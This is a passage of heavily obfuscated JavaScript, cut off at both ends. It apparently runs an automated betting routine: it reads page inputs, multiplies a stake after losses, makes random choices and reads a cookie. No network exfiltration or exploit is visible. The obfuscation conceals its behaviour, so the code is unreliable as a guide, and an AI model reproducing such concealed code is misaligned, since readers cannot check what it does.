dT+dS};1d[4(\'Mt\',\'\\14\\z\\b\\z\')]=B(dU,dV){C
dU(dV)};1d[4(\'Ms\',\'\\14\\z\\b\\z\')]=B(dX,dW){C
dX+dW};1d[4(\'Ml\',\'\\13\\j\\6\\c\')]=B(e6,e7){C
e6+e7};1d[4(\'Me\',\'\\W\\19\\1r\\7\')]=B(eh,eg){C
eh+eg};1d[4(\'Mf\',\'\\V\\z\\h\\T\')]=B(ei,ej){C
ei+ej};1d[4(\'Mi\',\'\\q\\T\\1k\\7\')]=B(ek,ef){C
ek<ef};1d[4(\'Mv\',\'\\q\\T\\1k\\7\')]=4(\'MI\',\'\\m\\W\\m\\15\');1d[4(\'MH\',\'\\
1v\\n\\D\\S\')]=4(\'MG\',\'\\1h\\13\\K\\c\');1d[4(\'MJ\',\'\\1h\\13\\K\\c\')]=B(ee,
e9){C ee(e9)};1d[4(\'MM\',\'\\17\\W\\t\\h\')]=B(e8,ea){C
e8===ea};1d[4(\'ML\',\'\\P\\Q\\D\\D\')]=4(\'MF\',\'\\p\\o\\j\\1w\');1d[4(\'ME\',\'\
\o\\o\\z\\q\')]=4(\'My\',\'\\o\\o\\z\\q\');1d[4(\'Mx\',\'\\X\\G\\1v\\m\')]=B(eb,ed)
{C eb(ed)};1d[4(\'Mz\',\'\\N\\H\\E\\s\')]=B(ec,cR){C
ec+cR};1d[4(\'MC\',\'\\U\\x\\15\\1t\')]=B(cQ,bw){C
cQ+bw};1d[4(\'Mb\',\'\\o\\1r\\d\\10\')]=B(bv,bx){C
bv<bx};1d[4(\'LJ\',\'\\K\\c\\Z\\1c\')]=B(by,bA){C
by===bA};1d[4(\'LM\',\'\\x\\b\\e\\1B\')]=4(\'LP\',\'\\V\\z\\h\\T\');1d[4(\'LO\',\'\
\1l\\n\\1k\\18\')]=4(\'LN\',\'\\o\\c\\1p\\9\');1d[4(\'LH\',\'\\W\\19\\1r\\7\')]=B(b
z,bu){C
bz(bu)};1d[4(\'Lz\',\'\\n\\l\\M\\13\')]=4(\'Ly\',\'\\U\\x\\15\\1t\');1d[4(\'LB\',\'
\\17\\W\\t\\h\')]=B(bt,bo,bn,bp){C
bt(bo,bn,bp)};1d[4(\'LD\',\'\\c\\1k\\E\\F\')]=B(bq,bs){C
bq>=bs};1d[4(\'LR\',\'\\n\\13\\J\\1L\')]=4(\'M4\',\'\\m\\W\\m\\15\');1d[4(\'M3\',\'
\\9\\L\\z\\o\')]=B(br,bB){C
br>=bB};1d[4(\'M6\',\'\\17\\W\\t\\h\')]=4(\'M9\',\'\\c\\1k\\E\\F\');1d[4(\'M8\',\'\
\o\\1r\\d\\10\')]=4(\'M7\',\'\\N\\H\\E\\s\');1d[4(\'M1\',\'\\17\\1v\\o\\E\')]=B(bC,
bM){C bC!=bM};1d[4(\'LT\',\'\\17\\W\\t\\h\')]=B(bL,bN){C bL!
==bN};1d[4(\'LV\',\'\\s\\n\\12\\7\')]=4(\'LW\',\'\\A\\O\\R\\p\');1d[4(\'LZ\',\'\\13
\\j\\6\\c\')]=4(\'LY\',\'\\1l\\n\\1k\\18\');1d[4(\'LX\',\'\\1B\\1k\\14\\j\')]=B(bO)
{C bO()};1d[4(\'c1\',\'\\q\\o\\G\\S\')]=B(bP,bK){C
bP(bK)};1d[4(\'NE\',\'\\1l\\n\\1k\\18\')]=B(bJ,bE){C
bJ(bE)};1d[4(\'NC\',\'\\D\\m\\1c\\Y\')]=B(bD,bF){C
bD(bF)};1d[4(\'NJ\',\'\\x\\6\\O\\Q\')]=B(bG,bI){C
bG(bI)};1d[4(\'NB\',\'\\N\\H\\E\\s\')]=B(bH,bm){C
bH(bm)};1d[4(\'Nu\',\'\\1v\\n\\D\\S\')]=B(bl,b1){C
bl(b1)};1d[4(\'Ns\',\'\\14\\z\\b\\z\')]=B(b0,b2){C
b0(b2)};1d[4(\'Nz\',\'\\13\\j\\6\\c\')]=B(b3,b5){C
b3(b5)};1d[4(\'Nx\',\'\\o\\o\\z\\q\')]=B(b4,aZ){C
b4(aZ)};1d[4(\'NL\',\'\\p\\o\\j\\1w\')]=B(aY,aT){C
aY(aT)};1d[4(\'NW\',\'\\o\\c\\1p\\9\')]=B(aS,aU){C
aS(aU)};1d[4(\'O2\',\'\\1l\\r\\E\\t\')]=B(aV,aX){C
aV(aX)};1d[4(\'NU\',\'\\1l\\n\\1k\\18\')]=B(aW,b6){C
aW+b6};1d[4(\'NM\',\'\\O\\V\\1C\\12\')]=B(b7,bh){C b7-
bh};1d[4(\'NQ\',\'\\U\\1K\\7\\c\')]=B(bg,bi){C
bg===bi};1d[4(\'NR\',\'\\X\\G\\1v\\m\')]=4(\'Nr\',\'\\U\\x\\15\\1t\');1d[4(\'Nq\',\
'\\p\\o\\j\\1w\')]=4(\'N1\',\'\\J\\p\\U\\19\');1d[4(\'N0\',\'\\U\\x\\15\\1t\')]=B(b
j,bk){C bj+bk};1d[4(\'N3\',\'\\o\\c\\1p\\9\')]=B(bf,be){C bf-
be};1d[4(\'N5\',\'\\c\\1k\\E\\F\')]=B(b9,b8){C
b9/b8};1d[4(\'MX\',\'\\P\\1k\\s\\p\')]=B(ba,bb){C ba!
==bb};1d[4(\'MP\',\'\\o\\1r\\d\\10\')]=4(\'MS\',\'\\2\\16\\q\\F\');1d[4(\'MT\',\'\\
17\\W\\t\\h\')]=B(bd,bc){C
bd===bc};1d[4(\'MV\',\'\\o\\1r\\d\\10\')]=4(\'MU\',\'\\p\\o\\j\\1w\');1d[4(\'N7\',\
'\\1l\\r\\E\\t\')]=B(bQ,bR){C bQ!
==bR};1d[4(\'Nk\',\'\\E\\2\\b\\D\')]=4(\'Nj\',\'\\K\\c\\Z\\1c\');1d[4(\'Nm\',\'\\n\
\l\\M\\13\')]=4(\'Nn\',\'\\p\\o\\j\\1w\');1d[4(\'Np\',\'\\1t\\X\\h\\J\')]=B(cw,cv)
{C
cw===cv};1d[4(\'Nh\',\'\\1t\\X\\h\\J\')]=4(\'Nb\',\'\\b\\1h\\A\\19\');1d[4(\'Na\',\
'\\1h\\13\\K\\c\')]=B(cx,cy){C cx*cy};1d[4(\'c5\',\'\\x\\b\\e\\1B\')]=B(cA,cz){C
cA-cz};1d[4(\'Nf\',\'\\U\\1K\\7\\c\')]=B(cu,ct){C cu!
==ct};1d[4(\'QA\',\'\\1t\\X\\h\\J\')]=4(\'TW\',\'\\x\\b\\e\\1B\');1d[4(\'TV\',\'\\r
\\1l\\17\\L\')]=4(\'TU\',\'\\m\\W\\m\\15\');1d[4(\'TX\',\'\\1l\\r\\E\\t\')]=B(co,cn
){C
co===cn};1d[4(\'U0\',\'\\e\\A\\T\\12\')]=4(\'TZ\',\'\\b\\1h\\A\\19\');1d[4(\'TT\',\
'\\14\\1w\\G\\X\')]=4(\'TS\',\'\\r\\1l\\17\\L\');1d[4(\'TM\',\'\\O\\V\\1C\\12\')]=B
(cp,cq){C cp-cq};1d[4(\'TK\',\'\\K\\c\\Z\\1c\')]=B(cs,cr){C
cs/cr};1d[4(\'TR\',\'\\e\\A\\T\\12\')]=B(cB,cC){C
cB*cC};1d[4(\'U2\',\'\\z\\r\\Y\\A\')]=B(cM,cL){C cM!
==cL};1d[4(\'Uf\',\'\\D\\m\\1c\\Y\')]=4(\'Ue\',\'\\c\\1k\\E\\F\');1d[4(\'Uh\',\'\\P
\\Q\\D\\D\')]=4(\'Ui\',\'\\W\\Y\\M\\e\');1d[4(\'bZ\',\'\\d\\1C\\G\\G\')]=B(cN,cO){C
cN<cO};1d[4(\'Uj\',\'\\A\\O\\R\\p\')]=4(\'Ud\',\'\\m\\W\\m\\15\');1d[4(\'Uc\',\'\\r
\\1l\\17\\L\')]=B(cP){C cP()};if(1d[4(\'U5\',\'\\1l\\1p\\1p\\X\')]
(1S,1d[4(\'U4\',\'\\p\\o\\j\\1w\')](1J,1d[4(\'U7\',\'\\o\\o\\z\\q\')]($,I[4X])[1s]
[I[57]]))&&1d[4(\'U8\',\'\\q\\T\\1k\\7\')](7X,1d[4(\'Ub\',\'\\o\\c\\1p\\9\')]
(1J,1d[4(\'Ua\',\'\\q\\o\\G\\S\')]($,I[48])[I[1U]]
()))&&1d[4(\'U9\',\'\\P\\Q\\D\\D\')](7G,1d[4(\'TJ\',\'\\m\\W\\m\\15\')]($,I[2z])
[I[1U]]())){if(1d[4(\'cJ\',\'\\1t\\X\\h\\J\')
](1d[4(\'TI\',\'\\J\\p\\U\\19\')],1d[4(\'Tj\',\'\\17\\1v\\o\\E\')]))
{5C=2H;8d=1d[4(\'Ti\',\'\\14\\z\\b\\z\')](5C,1H[I[2w]]
(1d[4(\'Th\',\'\\c\\1k\\E\\F\')](1d[4(\'Tk\',\'\\b\\1h\\A\\19\')]
(2H,2t),1O)))}1u{1d[4(\'Tl\',\'\\17\\1v\\o\\E\')]
(2A,3X);3X=1d[4(\'Tn\',\'\\z\\r\\Y\\A\')](2J,B(){if(1d[4(\'Tm\',\'\\N\\H\\E\\s\')]
(1d[4(\'Tg\',\'\\J\\p\\U\\19\')],1d[4(\'Tf\',\'\\b\\1h\\A\\19\')]))
{cK=1s}1u{1d[4(\'T8\',\'\\P\\1k\\s\\p\')]
(5q)}},7R);if(1d[4(\'Ta\',\'\\E\\2\\b\\D\')](2Y,1d[4(\'Tb\',\'\\1b\\2\\R\\1t\')]
($,I[40])[1s][I[3x]][I[4u]]())){if(1d[4(\'cJ\',\'\\1t\\X\\h\\J\')]
(1d[4(\'Td\',\'\\17\\W\\t\\h\')],1d[4(\'Tc\',\'\\n\\l\\M\\13\')]))
{7X=1d[4(\'Tq\',\'\\x\\6\\O\\Q\')](1J,1d[4(\'TD\',\'\\1v\\n\\D\\S\')]($,I[48])
[I[1U]]());1S=1d[4(\'TC\',\'\\r\\1l\\17\\L\')](1J,1d[4(\'TB\',\'\\1l\\n\\1k\\18\')]
($,I[4X])[1s][I[57]]);7G=1d[4(\'TG\',\'\\n\\l\\M\\13\')]($,I[2z])[I[1U]]
();58=1d[4(\'TA\',\'\\P\\Q\\D\\D\')](1J,1d[4(\'Tz\',\'\\U\\1K\\7\\c\')]($,I[4F])
[I[1U]]());cE=1d[4(\'c2\',\'\\r\\1l\\17\\L\')](1S,3E);1i
8a=1d[4(\'Ts\',\'\\n\\l\\M\\13\')](I[3a],1d[4(\'Tr\',\'\\1l\\r\\E\\t\')]
(1d[4(\'Tu\',\'\\q\\o\\G\\S\')](1O,1d[4(\'Tv\',\'\\U\\1K\\7\\c\')](1S,3E)),3E)
[I[31]](1Q));1i 53=1d[4(\'Ty\',\'\\14\\z\\b\\z\')](1S,3E)[I[31]](3d);1i
cF=1d[4(\'Tw\',\'\\17\\W\\t\\h\')](1d[4(\'Ul\',\'\\9\\L\\z\\o\')]($,I[40])[1s]
[I[3x]],I[7M]);1d[4(\'Um\',\'\\1v\\n\\D\\S\')]($,I[cD])[I[3k]]
(cF);1d[4(\'Va\',\'\\O\\1w\\9\\1r\')]($,I[4a])[I[3k]]
(1d[4(\'Vd\',\'\\x\\b\\e\\1B\')](1d[4(\'Ve\',\'\\p\\o\\j\\1w\')]
(1d[4(\'Vh\',\'\\x\\6\\O\\Q\')](1d[4(\'Vg\',\'\\1l\\1p\\1p\\X\')]
(I[7M],53[4(\'V9\',\'\\17\\1v\\o\\E\')]
()),I[8q]),8a),I[8k]));if(1d[4(\'V8\',\'\\c\\1k\\E\\F\')](53,1s))
{if(1d[4(\'V2\',\'\\P\\Q\\D\\D\')]
(1d[4(\'V1\',\'\\E\\13\\1a\\H\')],1d[4(\'V0\',\'\\1l\\1p\\1p\\X\')])){1i
7L=2i[I[3v]][I[4I]](21 2y(1d[4(\'V3\',\'\\q\\o\\G\\S\')]
(1d[4(\'V4\',\'\\1b\\2\\R\\1t\')](I[4H],I[81][I[4V]](/([\\.$?*|{}\\(\\)\\
[\\]\\\\\\/\\+^])/g,I[4G])),I[4D])));C 7L?1d[4(\'V7\',\'\\r\\1l\\17\\L\')]
(3Y,7L[1N]):3j}1u{1d[4(\'V5\',\'\\o\\c\\1p\\9\')]($,I[4a])[I[2F]]
(I[2E],I[3t])}}1u{if(1d[4(\'Vi\',\'\\K\\c\\Z\\1c\')]
(1d[4(\'Vj\',\'\\1h\\13\\K\\c\')],1d[4(\'Vw\',\'\\A\\O\\R\\p\')])){+
+3G;7K[I[85]]=1d[4(\'Vu\',\'\\17\\1v\\o\\E\')](1d[4(\'Vx\',\'\\1l\\r\\E\\t\')]
(1d[4(\'Vy\',\'\\O\\1w\\9\\1r\')](44,1d[4(\'VA\',\'\\r\\1l\\17\\L\')]
(cG,1d[4(\'Vt\',\'\\m\\W\\m\\15\')](3G,2q))),I[2S]),1d[4(\'Vs\',\'\\A\\O\\R\\p\')]
(44,1d[4(\'Vl\',\'\\o\\1r\\d\\10\')](3G,2q)))}1u{1d[4(\'Vn\',\'\\n\\l\\M\\13\')]
($,I[4a])[I[2F]](I[2E],I[3H])}};1d[4(\'Vo\',\'\\s\\n\\12\\7\')]($,I[45])[I[3k]]
(1d[4(\'Vq\',\'\\o\\o\\z\\q\')](1d[4(\'Vp\',\'\\K\\c\\Z\\1c\')]
(1d[4(\'UZ\',\'\\P\\Q\\D\\D\')](1d[4(\'UY\',\'\\D\\m\\1c\\Y\')]
(I[3a],53[4(\'Uz\',\'\\14\\z\\b\\z\')]
()),I[8q]),8a),I[8k]));if(1d[4(\'Ux\',\'\\p\\o\\j\\1w\')](53,1s))
{if(1d[4(\'UB\',\'\\P\\1k\\s\\p\')]
(1d[4(\'UE\',\'\\s\\n\\12\\7\')],1d[4(\'UD\',\'\\W\\19\\1r\\7\')]))
{if(1d[4(\'UC\',\'\\p\\o\\j\\1w\')](1H[I[27]](),0.5)){1R=![]}1u{1R=!!
[]}}1u{1d[4(\'Uw\',\'\\o\\c\\1p\\9\')]($,I[45])[I[2F]]
(I[2E],I[3t])}}1u{if(1d[4(\'Uv\',\'\\14\\1w\\G\\X\')]
(1d[4(\'Up\',\'\\n\\13\\J\\1L\')],1d[4(\'Uo\',\'\\O\\V\\1C\\12\')]))
{1d[4(\'Un\',\'\\2\\16\\q\\F\')]($,I[45])[I[2F]]
(I[2E],I[3H])}1u{bS=1d[4(\'Uq\',\'\\W\\Y\\M\\e\')](I[26],1H[I[2w]]
(1d[4(\'Ur\',\'\\m\\W\\m\\15\')](8c,2q)))}};1d[4(\'Uu\',\'\\9\\L\\z\\o\')]
(6y,3g,1S,I[3D]);if(1d[4(\'UF\',\'\\U\\x\\15\\1t\')](1S,5P))
{if(1d[4(\'UG\',\'\\O\\1w\\9\\1r\')]
(1d[4(\'UT\',\'\\U\\1K\\7\\c\')],1d[4(\'US\',\'\\U\\x\\15\\1t\')]))
{5P=1S}1u{7e=1d[4(\'UR\',\'\\o\\1r\\d\\10\')](I[26],1d[4(\'UU\',\'\\K\\c\\Z\\1c\')]
(8c,2q))}};if(1d[4(\'UX\',\'\\c\\1k\\E\\F\')](1S,2c))
{if(1d[4(\'UW\',\'\\X\\G\\1v\\m\')]
(1d[4(\'UQ\',\'\\D\\m\\1c\\Y\')],1d[4(\'UP\',\'\\P\\1k\\s\\p\')])){2c=1S}1u{1i
cI=1d[4(\'UJ\',\'\\b\\1h\\A\\19\')][4(\'sb\',\'\\A\\O\\R\\p\')]
(\'\\2a\'),cH=1s;28(!![]){2j(cI[cH++])
{1n\'\\z\':3P=1s;1o;1n\'\\12\':;1o;1n\'\\19\':if(1d[4(\'UK\',\'\\1l\\r\\E\\t\')]
(29,2h)){29=2h}1o;1n\'\\S\':2h=1d[4(\'UL\',\'\\O\\V\\1C\\12\')](1H[I[1O]]
(1d[4(\'UO\',\'\\U\\1K\\7\\c\')](1O,1d[4(\'UN\',\'\\E\\2\\b\\D\')]
(1O,2t))),3W);1o;1n\'\\t\':29=1d[4(\'UM\',\'\\s\\n\\12\\7\')]
(1d[4(\'T6\',\'\\1l\\n\\1k\\18\')](1H[I[27]](),1d[4(\'T5\',\'\\P\\Q\\D\\D\')]
(3f,2K)),2K);1o;1n\'\\q\':1Z=29;1o;1n\'\\x\':3L=1s;1o}2l}}};if(1d[4(\'Rq\',\'\\14\\
z\\b\\z\')](4j,1s)&&1d[4(\'Rp\',\'\\U\\x\\15\\1t\')](1S,4j))
{if(1d[4(\'Ro\',\'\\V\\z\\h\\T\')]
(1d[4(\'Rr\',\'\\q\\o\\G\\S\')],1d[4(\'Rs\',\'\\1h\\13\\K\\c\')]))
{1d[4(\'Rv\',\'\\o\\c\\1p\\9\')](3U);1d[4(\'Ru\',\'\\17\\1v\\o\\E\')]
(42,I[7v]);C}1u{C 1d[4(\'Rt\',\'\\n\\l\\M\\13\')](cm[3n],cl[3n])?
1s:1d[4(\'Rn\',\'\\17\\1v\\o\\E\')](cm[3n],cl[3n])?-
1N:1N}};2K=1d[4(\'c1\',\'\\q\\o\\G\\S\')](1J,1d[4(\'Rg\',\'\\U\\x\\15\\1t\')]
($,I[5z])[I[1P]]());3f=1d[4(\'Re\',\'\\b\\1h\\A\\19\')]
(1J,1d[4(\'Rh\',\'\\r\\1l\\17\\L\')]($,I[5w])[I[1P]]
());43=1d[4(\'Rl\',\'\\x\\b\\e\\1B\')](1J,1d[4(\'Rk\',\'\\14\\z\\b\\z\')]($,I[5o])
[I[1P]]());4n=1d[4(\'Rw\',\'\\q\\T\\1k\\7\')](1J,1d[4(\'Rx\',\'\\D\\m\\1c\\Y\')]
($,I[5B])[I[1P]]());39=1d[4(\'RJ\',\'\\x\\6\\O\\Q\')]
(1J,1d[4(\'RI\',\'\\U\\1K\\7\\c\')]($,I[5m])[I[1P]]
());2O=1d[4(\'RM\',\'\\14\\1w\\G\\X\')](1J,1d[4(\'RO\',\'\\A\\O\\R\\p\')]($,I[5e])
[I[1P]]());2U=1d[4(\'RH\',\'\\1v\\n\\D\\S\')](1J,1d[4(\'RG\',\'\\1t\\X\\h\\J\')]
($,I[5g])[I[1P]]());3C=1d[4(\'Rz\',\'\\1l\\n\\1k\\18\')]
(1J,1d[4(\'Ry\',\'\\D\\m\\1c\\Y\')]($,I[5n])[I[1P]]
());4j=1d[4(\'RB\',\'\\E\\13\\1a\\H\')](1J,1d[4(\'RC\',\'\\1t\\X\\h\\J\')]($,I[5h])
[I[1P]]());2R=1d[4(\'RE\',\'\\x\\6\\O\\Q\')](1J,1d[4(\'RD\',\'\\U\\1K\\7\\c\')]
($,I[5x])[I[1P]]());2L=1d[4(\'Rd\',\'\\o\\1r\\d\\10\')]
(1J,1d[4(\'Rc\',\'\\14\\z\\b\\z\')]($,I[5V])[I[1P]]
());3e=1d[4(\'QN\',\'\\1l\\1p\\1p\\X\')](1J,1d[4(\'QM\',\'\\o\\1r\\d\\10\')]
($,I[60])[I[1P]]());2t=1d[4(\'QO\',\'\\r\\1l\\17\\L\')]
(1d[4(\'QP\',\'\\V\\z\\h\\T\')](1H[I[27]](),1d[4(\'QS\',\'\\K\\c\\Z\\1c\')]
(3C,2U)),2U);1d[4(\'QR\',\'\\E\\2\\b\\D\')](c0);if(1d[4(\'QK\',\'\\E\\2\\b\\D\')]
(1S,2c)){if(1d[4(\'QJ\',\'\\r\\1l\\17\\L\')]
(1d[4(\'QD\',\'\\r\\1l\\17\\L\')],1d[4(\'QC\',\'\\N\\H\\E\\s\')])){1R=!
[]}1u{29=1d[4(\'QB\',\'\\E\\2\\b\\D\')](1d[4(\'QE\',\'\\A\\O\\R\\p\')](1H[I[27]]
(),1d[4(\'QF\',\'\\1b\\2\\R\\1t\')](3f,2K)),2K);2h=1d[4(\'QI\',\'\\A\\O\\R\\p\')]
(1H[I[1O]](1d[4(\'QH\',\'\\1h\\13\\K\\c\')](1O,1d[4(\'QG\',\'\\13\\j\\6\\c\')]
(1O,2t))),3W);if(1d[4(\'QT\',\'\\n\\13\\J\\1L\')](29,2h))
{if(1d[4(\'QU\',\'\\U\\x\\15\\1t\')]
(1d[4(\'R7\',\'\\1l\\1p\\1p\\X\')],1d[4(\'R6\',\'\\X\\G\\1v\\m\')])){3r=!!
[];32=[1d[4(\'R8\',\'\\W\\Y\\M\\e\')]
(2M[I[7Z]],c3[I[3u]]),1d[4(\'c2\',\'\\r\\1l\\17\\L\')]
(2M[I[8b]],c3[I[4g]])]}1u{29=2h}};1Z=29;3P=1s;3L=1s}}1u{if(1d[4(\'R3\',\'\\p\\o\\j\
\1w\')](1d[4(\'QX\',\'\\n\\l\\M\\13\')],1d[4(\'QW\',\'\\9\\L\\z\\o\')]))
{if(1d[4(\'QV\',\'\\e\\A\\T\\12\')](58,1s)){if(1d[4(\'QY\',\'\\1v\\n\\D\\S\')]
(1d[4(\'QZ\',\'\\s\\n\\12\\7\')],1d[4(\'R2\',\'\\q\\o\\G\\S\')])){3L+
+;if(1d[4(\'R1\',\'\\d\\1C\\G\\G\')](1d[4(\'R0\',\'\\E\\13\\1a\\H\')](3L,4n),1s))
{if(1d[4(\'RQ\',\'\\D\\m\\1c\\Y\')]
(1d[4(\'SG\',\'\\E\\13\\1a\\H\')],1d[4(\'SF\',\'\\d\\1C\\G\\G\')]))
{if(1d[4(\'SE\',\'\\1h\\13\\K\\c\')](1d[4(\'SH\',\'\\E\\13\\1a\\H\')]
(1S,1d[4(\'SI\',\'\\c\\1k\\E\\F\')](1Z,2O)),1d[4(\'SL\',\'\\1l\\1p\\1p\\X\')]
(2c,1d[4(\'SK\',\'\\14\\z\\b\\z\')](1d[4(\'SJ\',\'\\E\\13\\1a\\H\')](2c,2R),1O))))
{if(1d[4(\'SD\',\'\\1l\\1p\\1p\\X\')]
(1d[4(\'SC\',\'\\P\\Q\\D\\D\')],1d[4(\'Sw\',\'\\O\\V\\1C\\12\')])){1Z*=2O}1u{1R=!
[]}}}1u{C!![]}}}1u{1d[4(\'Sv\',\'\\q\\o\\G\\S\')]($,I[45])[I[2F]]
(I[2E],I[3t])}}1u{if(1d[4(\'Su\',\'\\V\\z\\h\\T\')]
(1d[4(\'Sx\',\'\\1l\\r\\E\\t\')],1d[4(\'Sy\',\'\\D\\m\\1c\\Y\')])){3P+
+;if(1d[4(\'SB\',\'\\E\\2\\b\\D\')](1d[4(\'SA\',\'\\14\\1w\\G\\X\')](3P,43),1s))
{if(1d[4(\'SM\',\'\\O\\V\\1C\\12\')]
(1d[4(\'SN\',\'\\V\\z\\h\\T\')],1d[4(\'T0\',\'\\2\\16\\q\\F\')])){C B(71,74){C
1d[4(\'SZ\',\'\\z\\r\\Y\\A\')](71[3n],74[3n])?1s:1d[4(\'SY\',\'\\p\\o\\j\\1w\')]
(71[3n],74[3n])?-1N:1N}}1u{if(1d[4(\'T2\',\'\\q\\T\\1k\\7\')]
(1d[4(\'c5\',\'\\x\\b\\e\\1B\')](1S,1d[4(\'T3\',\'\\1B\\1k\\14\\j\')]
(1Z,39)),1d[4(\'SX\',\'\\q\\o\\G\\S\')](2c,1d[4(\'SW\',\'\\q\\o\\G\\S\')]
(1d[4(\'SQ\',\'\\m\\W\\m\\15\')](2c,2R),1O)))){if(1d[4(\'SP\',\'\\2\\16\\q\\F\')]
(1d[4(\'SO\',\'\\U\\1K\\7\\c\')],1d[4(\'SR\',\'\\14\\z\\b\\z\')])){1Z*=39}1u{C
1d[4(\'SS\',\'\\r\\1l\\17\\L\')]
(I[26],5L)}}}}}1u{c4=4Q}}}1u{1d[4(\'bY\',\'\\p\\o\\j\\1w\')]
(2A,2G)}};if(1d[4(\'bZ\',\'\\d\\1C\\G\\G\')](1Z,29))
{if(1d[4(\'St\',\'\\x\\b\\e\\1B\')]
(1d[4(\'Ss\',\'\\z\\r\\Y\\A\')],1d[4(\'S3\',\'\\1h\\13\\K\\c\')])){1R=!!
[]}1u{1Z=29}};1d[4(\'S2\',\'\\1t\\X\\h\\J\')]
(5q)}1u{1d[4(\'bY\',\'\\p\\o\\j\\1w\')]($,I[4B])[I[1U]]
(1d[4(\'S1\',\'\\x\\b\\e\\1B\')](1d[4(\'S4\',\'\\1l\\n\\1k\\18\')]
(1d[4(\'S5\',\'\\q\\T\\1k\\7\')](1d[4(\'S8\',\'\\17\\W\\t\\h\')]
(bT,I[2S]),bS),I[2S]),7e))}}}}}B 5q(){1i
1y={};1y[4(\'S0\',\'\\e\\A\\T\\12\')]=B(bU,bV){C
bU(bV)};1y[4(\'RZ\',\'\\O\\1w\\9\\1r\')]=B(bX,bW){C
bX(bW)};1y[4(\'RS\',\'\\x\\6\\O\\Q\')]=4(\'RR\',\'\\m\\W\\m\\15\');1y[4(\'RU\',\'\\
V\\z\\h\\T\')]=4(\'RV\',\'\\1l\\r\\E\\t\');1y[4(\'RY\',\'\\P\\1k\\s\\p\')]=B(c6,c7)
{C
c6(c7)};1y[4(\'RW\',\'\\x\\6\\O\\Q\')]=4(\'S9\',\'\\O\\1w\\9\\1r\');1y[4(\'Sa\',\'\
\1h\\13\\K\\c\')]=B(ch,cg){C
ch+cg};1y[4(\'Sm\',\'\\W\\Y\\M\\e\')]=4(\'Sl\',\'\\q\\T\\1k\\7\');1y[4(\'So\',\'\\1
v\\n\\D\\S\')]=4(\'Sp\',\'\\17\\1v\\o\\E\');1y[4(\'Sr\',\'\\14\\1w\\G\\X\')]=B(ci,c
j){C ci(cj)};1y[4(\'Sq\',\'\\O\\V\\1C\\12\')]=B(ck){C
ck()};1y[4(\'Sj\',\'\\m\\W\\m\\15\')]=B(cf,ce,c9){C
cf(ce,c9)};1y[4(\'Se\',\'\\o\\o\\z\\q\')]=B(c8,ca){C
c8>ca};1y[4(\'Si\',\'\\n\\13\\J\\1L\')]=B(cb,cd){C cb-
cd};1y[4(\'Sg\',\'\\17\\1v\\o\\E\')]=B(cc,lK){C
cc/lK};1y[4(\'10h\',\'\\z\\r\\Y\\A\')]=B(ul,um){C
ul*um};1y[4(\'Sh\',\'\\W\\19\\1r\\7\')]=B(uj,uh){C
uj===uh};1y[4(\'Sf\',\'\\P\\Q\\D\\D\')]=4(\'Sb\',\'\\q\\T\\1k\\7\');1y[4(\'Sc\',\'\
\A\\O\\R\\p\')]=4(\'Sd\',\'\\X\\G\\1v\\m\');1y[4(\'Sk\',\'\\o\\o\\z\\q\')]=B(ut,uu)
{C ut*uu};1y[4(\'Sn\',\'\\1b\\2\\R\\1t\')]=B(ug,u5){C
ug*u5};1y[4(\'RX\',\'\\P\\1k\\s\\p\')]=B(uw){C
uw()};1y[4(\'RT\',\'\\z\\r\\Y\\A\')]=B(ud,ue){C
ud*ue};1y[4(\'S6\',\'\\r\\1l\\17\\L\')]=B(uc,ua){C
uc/ua};1y[4(\'S7\',\'\\1l\\1p\\1p\\X\')]=B(uz,sZ){C
uz<sZ};1y[4(\'ST\',\'\\14\\z\\b\\z\')]=4(\'SU\',\'\\c\\1k\\E\\F\');1y[4(\'SV\',\'\\
14\\1w\\G\\X\')]=4(\'T4\',\'\\o\\c\\1p\\9\');1y[4(\'T1\',\'\\n\\13\\J\\1L\')]=B(t9,
t5){C t9/t5};1y[4(\'Sz\',\'\\b\\1h\\A\\19\')]=B(sA,tl){C
sA>tl};1y[4(\'RP\',\'\\P\\1k\\s\\p\')]=B(tq,tt){C
tq===tt};1y[4(\'R4\',\'\\o\\c\\1p\\9\')]=4(\'Ra\',\'\\2\\16\\q\\F\');1y[4(\'Rb\',\'
\\X\\G\\1v\\m\')]=B(tu,tw){C tu*tw};1y[4(\'R9\',\'\\1b\\2\\R\\1t\')]=B(tB,tz){C
tB/tz};1y[4(\'R5\',\'\\P\\1k\\s\\p\')]=B(th,tg){C
th*tg};1y[4(\'QQ\',\'\\P\\Q\\D\\D\')]=B(tm,tC){C
tm(tC)};1y[4(\'QL\',\'\\r\\1l\\17\\L\')]=B(tQ,tV){C
tQ===tV};1y[4(\'RF\',\'\\1l\\r\\E\\t\')]=B(tO,tH){C tO!
==tH};1y[4(\'RA\',\'\\2\\16\\q\\F\')]=4(\'RN\',\'\\1b\\2\\R\\1t\');1y[4(\'RL\',\'\\
K\\c\\Z\\1c\')]=4(\'RK\',\'\\17\\1v\\o\\E\');1y[4(\'Rj\',\'\\14\\z\\b\\z\')]=4(\'Ri
\',\'\\r\\1l\\17\\L\');1y[4(\'Rf\',\'\\2\\16\\q\\F\')]=B(sO,sN){C
sO===sN};1y[4(\'Rm\',\'\\b\\1h\\A\\19\')]=4(\'UH\',\'\\m\\W\\m\\15\');1y[4(\'UI\',\
'\\n\\l\\M\\13\')]=4(\'UV\',\'\\N\\H\\E\\s\');1y[4(\'Us\',\'\\E\\2\\b\\D\')]=4(\'Ut
\',\'\\O\\1w\\9\\1r\');1y[4(\'UA\',\'\\1h\\13\\K\\c\')]=B(t2,t1){C
t2===t1};1y[4(\'Uy\',\'\\o\\1r\\d\\10\')]=4(\'Vr\',\'\\E\\13\\1a\\H\');1y[4(\'Vk\',
\'\\x\\b\\e\\1B\')]=4(\'Vm\',\'\\14\\z\\b\\z\');1y[4(\'Vz\',\'\\b\\1h\\A\\19\')]=B(
ub){C ub()};if(1y[4(\'Vv\',\'\\o\\1r\\d\\10\')](1y[4(\'V6\',\'\\O\\V\\1C\\12\')]
(1S,1Z),1y[4(\'Vf\',\'\\N\\H\\E\\s\')](2c,1y[4(\'Vb\',\'\\d\\1C\\G\\G\')]
(1y[4(\'Vc\',\'\\U\\1K\\7\\c\')](2c,2R),1O)))){if(1y[4(\'Tx\',\'\\14\\1w\\G\\X\')]
(1y[4(\'Tt\',\'\\p\\o\\j\\1w\')],1y[4(\'TH\',\'\\X\\G\\1v\\m\')])){1R=!![]}1u{1i
po=TF.TE;1i oa=1H[I[1O]](1y[4(\'Tp\',\'\\q\\T\\1k\\7\')](1Z,3W));1i oc=1H[I[2w]]
(1y[4(\'Te\',\'\\n\\13\\J\\1L\')](1H[I[27]](),3W));1i
